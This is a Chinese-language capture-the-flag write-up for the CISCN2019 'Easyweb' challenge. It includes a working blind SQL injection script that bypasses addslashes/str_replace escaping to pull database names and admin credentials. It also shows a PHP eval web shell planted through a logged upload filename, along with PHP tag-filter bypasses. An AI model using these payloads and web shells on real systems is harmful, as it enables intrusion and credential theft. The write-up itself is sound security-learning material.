前言:
这道题学到不少知识,还卡了很长时间,单独记录一下
[CISCN2019]Easyweb
首先拿到一个登陆框,从这里就要思考是要怎么去做,我在做的时候想到三个方面去尝试
- burp抓包看有什么线索没
- SQL万能密码注入
- 页面扫描,看看有什么源码泄露或者robots.txt
前两个都行不通,刚开始页面扫描的时候也没有扫到什么,然后就彻底懵了,后来发现是工具犯病了,再扫一次就出来了
一个robots.txt文件,访问可以发现提示的是备份文件,但没说具体的文件名
就利用排除法,一个一个的去试试,目前知道有index.php,user.php(登陆抓包即可发现),然后是image.php(查看页面源码即可发现),在尝试的过程中,发现image.php是可以下载备份文件的
看代码是可以进行SQL注入的,但需要通过addslashes、str_replace两个函数的处理。这里先补充一些知识
addslashes函数会把注入的单引号转换成\',把双引号转换成\",反斜杠会转换成\\
addslashes的问题:
addslashes会把%00转换成\0
addslashes会把单引号(')转换成\'
再回过头看代码,str_replace函数会查找我们输入的内容,如果找到"\\0","%00","\\'","'"
其中一个都会过滤为空,而且最为重要的是单引号被过滤了,既然无法引入单引号,只能在\
做手脚来破坏SQL语句中的单引号,从而造成SQL注入,接下来就自己先在本地进行测试一下
将代码修改成这样,便于我们直接看两个函数处理过后的结果。
(PS:这里要说明的一点是做题并不都是那种死套模板的,这题设置的很巧妙,不是那种什么base、hex就绕过了,而是需要自己去思考、测试如何去绕过。)
其实这里我在没有手动测试的时候有一个疑问,就是比如我输入的payload是\0
,经过addslashes函数处理变为了\\0
,然后再经过str_replace函数的处理,与其中的\\0
匹配,所以最后的id应该是空的,但是测试了发现结果大不相同,然后才明白这个数组中多一个\
其实也是进行特殊字符的转义
那这个payload就可以用,因为SQL语句中的单引号已经被破坏
select * from images where id='\' or path=' or 1=1#'
前面闭合了,便可以执行后面的命令,除此之外的也可以使用
id=\0'
结果也是一样的,继续看代码,一开始以为是要去读取文件源码获取下一步线索,结果读不出来
进行SQL注入发现了这个地方存在盲注,如果输入的path
参数条件为真即显示猫,为假则报错
条件为真
?id=\0&&path= or ascii(substr(database(),1,1))>1 %23
条件为真
?id=\0&&path= or ascii(substr(database(),1,1))<1 %23
既然payload已经测出来了,下面就来写脚本,目前我只能写出循环遍历的脚本还是太菜了
import requests
import string
import time
if __name__ == '__main__':
dic = ['{', '}', '_', ',', 'a', 'b', 'c', 'd', 'e', 'f', 'j', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q',
'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L',
'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6',
'7', '8', '9']
temp = ''
for i in range(60):
for char in dic:
url = "http://ba6d4f92-b3b8-4cdf-916e-f7cccc508f00.node3.buuoj.cn/image.php?id=\\0&&path= or "
#数据库
# payload = 'ascii(substr(database(),%d,1))=%d %%23' %(i,ord(char))
#ciscnfinal
#数据表
# payload = 'ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),%d,1))=%d %%23' %(i,ord(char))
#images,users
#字段
# payload = 'ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),%d,1))=%d %%23'%(i,ord(char))
#username,passwor
#用户名 密码
# payload = 'ascii(substr(( select username from users limit 0,1),%d,1))=%d %%23'%(i,ord(char))
# payload = 'ascii(substr(( select password from users limit 0,1),%d,1))=%d %%23' % (i, ord(char))
#admin
#8d60e014233acf360116
res = requests.get(url=url+payload)
time.sleep(0.005)
# print(res.content)
if b'JFIF' in res.content:
temp = temp+char
print(temp)
break
payload中的%%
其实就用于SQL语句时相当于一个%
,用%%代替%
加上是为了避免报错
还有一点就是脚本中id的payload多了一个\
,这是因为**URL传递\0的时候在字符串中多加个**。
并且由于单引号不能绕过,所以用到表名等可以借助十六进制串来表示。
(如果报错了,觉得脚本没有问题,就换下格式化符号,之前用的format,怎么都跑不出来,用了%,就直接出来了)
得到账号和密码,登陆进去,发现是文件上传
随便上传一句话,都会发现这样一句话
跟着路径查看一下发现
根据提示信息,上传的文件名被传到这个php日志文件中去,那就可以把上传的文件名改成一句话木马进行上传
<?php @eval($_POST['test']);?>
但是上传不上去,含有php,所以要找其他方法去替代。
1.当仅禁用<?php时,可以使用<? ?>
要求:需要开启短标签开关,short_open_tag
2.当禁用<?php以及?>时,还可以使用<?=
要求:PHP版本>PHP 5.4.0
3.禁用了<?、 <?php、 ?>时,可以使用asp标签<% %>
要求:asp_tags设成On
4.<script language=”php”>system($_GET[jinqi]);
等价于<?php system($_GET[jinqi]);?>
尝试了第二个方法,发现可行
蚁剑连接即可
总结
多思考,多动手,多测试